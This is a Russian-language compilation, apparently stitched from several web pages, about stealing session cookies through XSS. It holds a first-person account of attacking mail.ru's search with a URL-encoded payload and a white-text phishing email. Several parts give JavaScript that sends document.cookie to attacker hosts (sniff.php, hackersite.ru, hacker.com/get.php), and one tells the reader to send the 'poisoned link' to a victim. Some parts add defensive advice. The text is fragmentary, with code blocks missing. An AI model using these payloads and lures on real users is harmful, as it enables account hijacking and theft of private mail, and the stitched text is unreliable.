Ломаем и защищаем WordPress своими руками. Кража сессий Определение установленных компонентов

В котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS . После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.

В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…


На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.

Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.

Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

Img=new Image();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
function F() {
location="http://www.solife.ru";
}
setTimeout(F, 5000);

Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:

Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:


Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.

Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

Проверяю свой файл sniff.txt:

Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

Хотелось бы поблагодарить Сергея Белова (

Мой знакомый забыл пароль к одному сайту. Однако ранее он поставил при входе флажок «Запомнить меня» в браузере Google Chrome, что позволяло ему заходить на сайт под своим аккаунтом. Мне прилетел вопрос, можно ли перенести это волшебное состояние на другой компьютер. Правильнее, конечно, было бы сменить или восстановить пароль, но сделать это знакомый не мог по причинам, не относящимся к делу.

Как пользоваться intercepter-ng для чайников

Несмотря на многообразие выбора современного софта, программы для взлома на андроид лучше, чем intercepter ng найти сложно. Первым критерием, указывающим в пользу данного продукта, является его реальная работоспособность. Большинство предлагаемых снифферов в сети – только имитация, не выполняющая заявленных функций.

Следующими положительными факторами является многофункциональность приложения и охват широкой аудитории пользователей.

Компьютерная помощь 939-29-71

Начнём по порядку. Cookies или » куки » — это очень маленькие текстовые файлики — закладки с информацией.

Эту информацию веб — сервер передает на браузер пользователя. где эта информация и хранится до востребования. Не совсем понятно. Ну. хорошо.

постараюсь ещё проще. Смотрите. вы зарегистрировались на каком — либо сайте.

В момент регистрации и создаются эти самые » куки «.

Вот они — то и являются.

Cookie Cadger

Программа прослушивает трафик в WiFi-сети, перехватывает cookies и реплицирует сессию пользователя в вашем браузере, повторяя запросы с его учётными данными. Автор Мэтью Салливан (Matthew Sullivan) провёл презентацию программы 30 сентября на конференции хакеров Derbycon. Прямо во время выступления Мэтью Салливан перехватил по WiFi незащищённую сессию с Google одного из посетителей конференции.

Как украсть куки

Если, находясь на странице сайта, Вы введёте в адресную строку браузера Firefox или Opera следующий текст: javasсript:document.write(document.сооkiе); то увидите нечто вроде: remixAdminsBar=0; remixGroupType=0; remixpass=******************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Внимание! .

Полное пособие по межсайтовому скриптингу

XSS – это тип уязвимости программного обеспечения, свойственный Web-приложениям, который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями В Wikipedia содержится следующее определение для XSS: «Межсайтовый скритинг (XSS) – это тип уязвимости программного обеспечения, свойственный Web-приложениям (путем обхода ограничений безопасности браузера)», который позволяет атакующему внедрить клиентский сценарий в web-страницы, просматриваемые другими пользователями.

Разница между cookie и сессиями

Не так давно я писал статью о том, как сделать регистрацию и авторизацию пользователей на сайте.

«. В этой статье я собираюсь разобрать разницу между сессиями и cookie . чтобы Вы окончательно определились с выбором.

Cookies. Нет, речь вовсе не о печенье, речь о вашей безопасности. Вот заходите вы свой любимый сайт «vkontakte» (или, например, посмотреть почту) на чужом компьютере, отказываетесь от опции «сохранить пароль», радостно просматриваете почту и уходите. И не задумываетесь о том, что под вашим именем теперь можно зайти в социальную сеть или почту.

Я даже не рассматриваю ситуацию с программой, которая запомнила пароль без вашего ведома. Это уже взлом сознательный, и вы, наверное, будете подозревать, что что-то такое может случиться и не зайдете на таком компьютере на любимый сайт. Но речь может идти о простом человеческом любопытстве — были в гостях у знакомых, а тут раз, и они получают возможность почитать вашу почту. Вы уверены, что они откажутся от такой возможности? А вы не боитесь, что что-то выплывет? В любом случае, я отложу вопросы нравственности и просто поговорю о том, каким образом созраняется на компьютере информация о том, что вас теперь можно пустить на какой-то сайт не запрашивая пароля.

как украсть Cookie

И имя этой технологии — cookies.

А началось все вот с чего. Протокол http по которому, собственно, вы и просматриваете сайты (включая этот) изначально не предполагал возможности поддержания соединения. То есть, грубо говоря, вы отправляете запрос на сайт, получаете ответ, он отображается на экране, а дальше сервер ничего о вас не помнит. Это, конечно, хорошо, когда сайт чисто информационный и не должен ничего о вас помнить, но мы же живем в веке Web 2.0 😉 Естественное развитие протокола — POST и GET запросы, когда вы отправляете какие-то данные, сервер может записать их в базу данных, но и этого оказывается недостаточно.

Рассмотрим очень простой пример. Форум. Вот вы зарегистрировались, и на форуме есть запись о том, что есть такой-то пользователь с таким-то паролем и какими-то еще дополнительными данными. Но вот теперь вы заходите на форум и авторизуетесь — вводите свой пароль. Где-то должна сохраниться информация о том, что вы авторизовались. На сервере? Конечно, нет! На сервере невозможно сохранить информацию о том, что именно с вашего компьютера была произведена авторизация — он не сможет отличить вас от кого-то другого (даже ваш IP-адрес вас не идентифицирует однозначно)! Таким образом, информацию о том, что произошла авторизация нужно хранить на вашем компьютере. Вот зачем нужны cookies, именно для этого они и были созданы.

Cookie — это маленькая запись на вашем компьютере, хранящая информацию о сайте, который вы посетили. При авторизации создается подобная запись, после чего вы уже можете гулять по форуму, и он будет вас опознавать. Однако, это уже будет происходить автоматически — благодаря информации, хранящейся в cookie — так что сделать вид, что вы являетесь главным администратором форума, все равно не получится в обход проверки пароля.

Теперь можно вернуться к тому, с чего начиналась эта статья. Если вы авторизовались где-то даже не сохраняя пароль, то может случиться так, что на компьютере создалась запись, позволяющая теперь входить на этот ресурс под вашим именем без авторизации. Такая запись сама устареет через некоторое время, но можно ее принудительно очистить. В каждом браузере это делается по-своему, я покажу, как это можно сделать в моем любимом Google Chrome. Открываем параметры

Переходим на вкладку «расширенные» и находим кнопку «показать Cookies»

Теперь, конечно, можно удалить и все cookies, но это может расстроить хозяина компьютера. Поэтому, например, в верхнем поле можно ввести название интересуещего вас сайта

Тогда можно произвести очистку только cookies, относящихся к этому сайту. Можете попробовать на моем. При этом если вы авторизуетесь на моем форуме, а затем очистите cookies, то информация об авторизации будет забыта. Попробуйте!

comments powered by

1.Что такое XSS(англ. Сross Site Sсriрting - «межсайтовый скриптинг»)
Уязвимость типа XSS позволяет вставить произвольный javascript код в тело страницы. Атака XSS отличается от других(напр. SQL injection или PHP injection) тем, что действует не на сервер, а на клиента.

как украсть cookies

С ее помощью нельзя посмотреть таблицы БД, залить шелл и т.п. Чаще всего XSS испульзуют для кражи cookies.
Cookies(Куки) — небольшой фрагмент данных, созданный веб-сервером и хранимый на компьютере пользователя в виде файла. Обычно куки используются для хранения учетных записей, и, чаще всего, в них находятся закодированные пароль, логин, и идентификатор сессии.(хотя далеко не всегда)
XSS бывают двух типов, активные и пассивные.

Пассивные XSS требуют от жертвы непосредственного участия, например перейти по ссылке, содержащей javascript код. При использовании этого типа XSS не обойтись без СИ(Социальная Инженерия)

Активные XSS не требуют никакого участия со стороны жертвы, ей достаточно лишь зайти на страницу с XSS. Активные XSS могут быть, например, в сообщениях на форумах, чатах, в добавлении новости и т.п.

2.Поиск XSS
В этом пункте я расскажу как найти xss

2.1.Пассивные XSS
Чтобы найти пассивную XSS достаточно подставить в форму ввода alert(‘xss’) если скрипт сработал и появилось сообщение "xss" значит уязвимость присутствует, если скрипт не сработал можно еще попробывать ">alert(), это, наверное самая распространенная xss уязвимость. Если ни тот ни другой скрипт не сработал то уязвимости, скорее всего, нет.
Рассмотрим на примере.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Видите форму "искать"? вставим туда ">alert() и нажмем "найти"
Вылетело окошко c xss, значит xss присутствует.(возможно, на момент прочтения вами данной статьи эту xss уже пофисят)

2.2.Активные XSS
Такие ксс могут быть, например, в полях профиля, при добавлении новости в названии новости и в самой новости(реже), в сообщениях на форумах/чатах/гостивухах при включенном html. Тут все просто, вписываем в поля скрипт из предыдущего подпункта, и если сообщение вывелось на экран, то уязвимость присутствует.
Рассморим xss в BB тегах на форумах.
можно попробовать тупо вставить javascript код в тег, например так:
javasсriрt:alert(‘xss’)
У некоторых тегов есть параметры, например у тега есть параметры dynsrc и lowsrc, попробуем подставить код так:
http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
Если скрипт сработал, xss есть

3.Использование XSS для кражи cookies
Теперь самое вкусное))))
Для того чтобы украсть куки нам понадобится веб-сниффер, можно установить какой-нибудь сниффер на свой хостинг, а можно воспользоваться онлайн-сниффером, которых сейчас полно.
Чтобы украсть куки через пассивеую XSS надо чтобы жертва прошла по ядовитой ссылке. Чтобы украсть куки мы будем исользовать вместо alert(‘xss’) другой скрипт:
img = new Image();


подставляем скрипт в ссылку и даем жертве перейти по ней, смотри лог сниффера и радуемся.
Рассмотрим на примере.
Возьмем ту XSS на рамблере из предыдущего пункта.
Вставляем
">
img = new Image();
img.src = "адрес картинки-сниффера"+document.cookie;

в форму поиска, нажимаем "найти", смотрим адресную строку и видим:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Кидаем эту ссылку жертве и радуемся кукам.
Увидев такую ссылку жертва может что-то заподозрить, поэтому желательно закодировать
">img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;
в URL Или воспользоваться сервисами типа http://tinyurl.com/
Перейдем к активным XSS, тут все просто, вместо alert() вставляем img = new Image();img.src = "адрес картинки-сниффера"+document.cookie;

Теперь у нас есть куки. Но что с ними делать? Все просто, их надо подставить вместо своих. В браузере Opera есть встроеный редактор cookies(инструменты->дополнительно->управление cookies), для firefox есть плагин(не помню как называется, юзайте гугл)
На этом пока все, возможно статья будет дополняться

Что такое же cookie?

Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.


Почему cookie важны?

Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.


Как изменить или подменить cookie?

Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).


Шаг 1: создаем текстовый файл с текстом

Windows Registry Editor Version 5.00



@="C:\\IE_ext.htm"

Сохраняем его под именем IE_ext.reg

Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.

Шаг 3: создаем текстовый файл с текстом

< script language ="javascript">
external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
alert(external.menuArguments.document.cookie);


Сохраняем его под именем C:\IE_ext.htm

Шаг 4: Заходим на интересующий нас интернет-сайт.

Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.


Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);

Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

Как украсть cookie с помощью JavaScript?

Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:


var str= document.cookie;

Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

var img=new Image();

img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);


то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.

Как обрабатывать такие запросы на загрузку «картинки»?

Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:


Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.


Итог

Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.

Cookies (куки) — информация в виде текстового файла, сохраняемая на компьютере пользователя веб-сайтом. Содержит данные об аутентификации (логин/пароль, ID, номер телефона, адрес почтового ящика), пользовательские настройки, статус доступа. Хранится в профиле браузера.

Взлом куки — это кража (или «угон») сессии посетителя веб-ресурса. Закрытая информация становится доступной не только отправителю и получателю, но и ещё третьему лицу — человеку осуществившему перехват.

Инструменты и методы взлома куки

У компьютерных воров, как и у их коллег в реале, помимо навыков, сноровки и знаний, конечно же, есть и свой инструментарий — своеобразный арсенал отмычек и щупов. Ознакомимся с наиболее популярными хитростями хакеров, которые они применяют для выуживания куки у обывателей сети Интернет.

Снифферы

Специальные программы для отслеживания и анализа сетевого трафика. Их название происходит от английского глагола «sniff» (нюхать), т.к. в буквальном смысле слова «вынюхивают» передаваемые пакеты между узлами.

А вот злоумышленники при помощи сниффера перехватывают сессионые данные, сообщения и другую конфиденциальную информацию. Объектом их атак становятся в основном незащищённые сети, где куки пересылаются в открытой HTTP-сессии, то есть практически не шифруются. (Наиболее уязвимы в этом плане публичные Wi-Fi.)

Для внедрения сниффера в интернет-канал между узлом пользователя и веб-сервером используются следующие методы:

  • «прослушивание» сетевых интерфейсов (хабов, свитчей);
  • ответвление и копирование трафика;
  • подключение в разрыв сетевого канала;
  • анализ посредством специальных атак, перенаправляющих трафик жертвы на сниффер (MAC-spoofing, IP-spoofing).

Аббревиатура XSS означает Cross Site Scripting — межсайтовый скриптинг. Применяется для атаки на веб-сайты с целью похищения данных пользователя.

Принцип действия XSS заключается в следующем:

  • злоумышленник внедряет вредоносный код (специальный замаскированный скрипт) на веб-страницу сайта, форума либо в сообщение (например, при переписке в соцсети);
  • жертва заходит на инфицированную страницу и активирует установленный код на своём ПК (кликает, переходит по ссылке и т.д.);
  • в свою очередь приведённый в действие зловредный код «извлекает» конфиденциальные данные пользователя из браузера (в частности, куки) и отправляет их на веб-сервер злоумышленника.

Для того, чтобы «вживить» программный XSS-механизм, хакеры используют всевозможные уязвимости в веб-серверах, онлайн-сервисах и браузерах.

Все XSS-уязвимости разделяются на два типа:

  • Пассивные . Атака получается методом запроса к конкретному скрипту веб-страницы. Вредоносный код может вводиться в различные формы на веб-странице (например, в строку поиска по сайту). Наиболее подвержены пассивному XSS ресурсы, на которых отсутствует при поступлении данных фильтрация HTML-тегов;
  • Активные . Находятся непосредственно на сервере. И приводятся в действие в браузере жертвы. Активно используются мошенниками во всевозможных блогах, чатах и новостных лентах.

Хакеры тщательно «камуфлируют» свои XSS-скрипты, чтобы жертва ничего не заподозрила. Меняют расширение файлов, выдают код за картинку, мотивируют пройти по ссылке, привлекают интересным контентом. В итоге: пользователь ПК, не совладавший с собственным любопытством, своей же рукой (кликом мышки) отправляет куки сессии (с логином и паролем!) автору XSS-скрипта — компьютерному злодею.

Подмена куки

Все куки сохраняются и отправляются на веб-сервер (с которого они «пришли») без каких-либо изменений — в первозданном виде — с такими же значениями, строками и другими данными. Умышленная модификация их параметров называется подменна куки. Другими словами говоря, при подмене куки злоумышленник выдаёт желаемое за действительное. Например, при осуществлении платежа в интернет-магазине, в куки изменяется сумма оплаты в меньшую сторону — таким образом происходит «экономия» на покупках.

Украденные куки сессии в соцсети с чужого аккаунта «подкладываются» в другую сессию и на другом ПК. Владелец украденных кук получает полный доступ к аккаунту жертвы (переписка, контент, настройки страницы) до тех пор пока, она будет находится на своей странице.

«Редактирование» кук осуществляется при помощи:

  • функции «Управление cookies... » в браузере Opera;
  • аддонов Cookies Manager и Advanced Cookie Manager для FireFox;
  • утилиты IECookiesView (только для Internet Explorer);
  • текстового редактора типа AkelPad, NotePad или блокнота Windows.
Физический доступ к данным

Очень простая схема по реализации, состоит из нескольких шагов. Но действенна лишь в том случае, если компьютер жертвы с открытой сессией, например Вконтакте, оставлен без присмотра (и достаточно надолго!):

  • В адресную строку браузера вводится функция javascript, отображающая все сохранённые куки.
  • После нажатия «ENTER» они все появляются на странице.
  • Куки копируются, сохраняются в файл, а затем переносятся на флешку.
  • На другом ПК осуществляется подмена куки в новой сессии.
  • Открывается доступ к аккаунту жертвы.
  • Как правило, хакеры используют вышеперечисленные инструменты (+ другие) как в комплексе (поскольку уровень защиты на многих веб-ресурсах достаточно высок), так и по отдельности (когда пользователи проявляют чрезмерную наивность).

    XSS + сниффер
  • Создаётся XSS-скрипт, в котором указывается адрес сниффера-онлайн (собственного изготовления либо конкретного сервиса).
  • Вредоносный код сохраняется с расширением.img (формат картинки).
  • Затем этот файл загружается на страницу сайта, в чат, либо в личное сообщение — туда, где будет осуществляться атака.
  • Привлекается внимание пользователя к созданной «ловушке» (здесь в силу уже вступает социальная инженерия).
  • Если «ловушка» срабатывает, куки из браузера жертвы перехватываются сниффером.
  • Взломщик открывает логи сниффера и извлекает похищенные куки.
  • Далее выполняет подмену для получения прав владельца аккаунта посредством вышеперечисленных инструментов.
  • Защита cookies от взлома
  • Пользоваться шифрованным соединением (с использованием соответствующих протоколов, и методов обеспечения ).
  • Не реагировать на сомнительные ссылки, картинки, заманчивые предложения ознакомиться с «новым бесплатным ПО». В особенности от незнакомых людей.
  • Пользоваться только доверенными веб-ресурсами.
  • Завершать авторизированную сессию, нажатием кнопки «Выход» (а не просто закрывать вкладку!). Особенно, если вход в аккаунт выполнялся не с личного компьютера, а, например, с ПК в интернет-кафе.
  • Не пользоваться функцией браузера «Сохранить пароль». Сохраняемые регистрационные данные повышают риск кражи в разы. Не стоит лениться, не стоит жалеть нескольких минут времени на ввод пароля и логина в начале каждой сессии.
  • После веб-сёрфинга — посещения соцсетей, форумов, чатов, сайтов — удалять сохранённые куки и очищать кэш браузера.
  • Регулярно обновлять браузеры и антивирусное ПО.
  • Пользоваться браузерными расширениями, защищающими от XSS-атак (например, NoScript для FF и Google Chrome).
  • Периодически в аккаунтах.
  • И самое главное — не теряйте бдительность и внимание во время отдыха или работы в Интернете!

  • У пользователя запрашивается логин и пароль.
  • Если авторизация проходит успешно, то создается новая сессия, со значением "успешной авторизации".
  • Пользователю назначается уникальный идентификатор (SID), который заранее невозможно предсказать, а, значит, и подобрать:).
  • SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены).
  • В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

    Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.

    Замечание

    Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту:).

    В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

    Существуют два самых распространенных варианта:

    1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

    http://forum.dklab.ru/?sid=

    Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором.
    Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться:). С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

    2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.



    Текст:


    Содержимое обработчика addmsg.php представлено ниже

    Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы < в < и > в > в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

    window.open("http://hacker.com/get.php?"+document.cookie, "new")

    И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
    Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
    Скрипт авторизации

    Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

    Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой:) - поэтому в доступе ему будет отказано.

    Данный метод не является универсальным и у него тоже есть слабые места.

  • Если пользователь и злоумышленик выходят в Интернет через общий прокси-сервер, то они будут иметь один общий IP-адрес (это характерно для сетей университетов, заводов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
  • Просмотров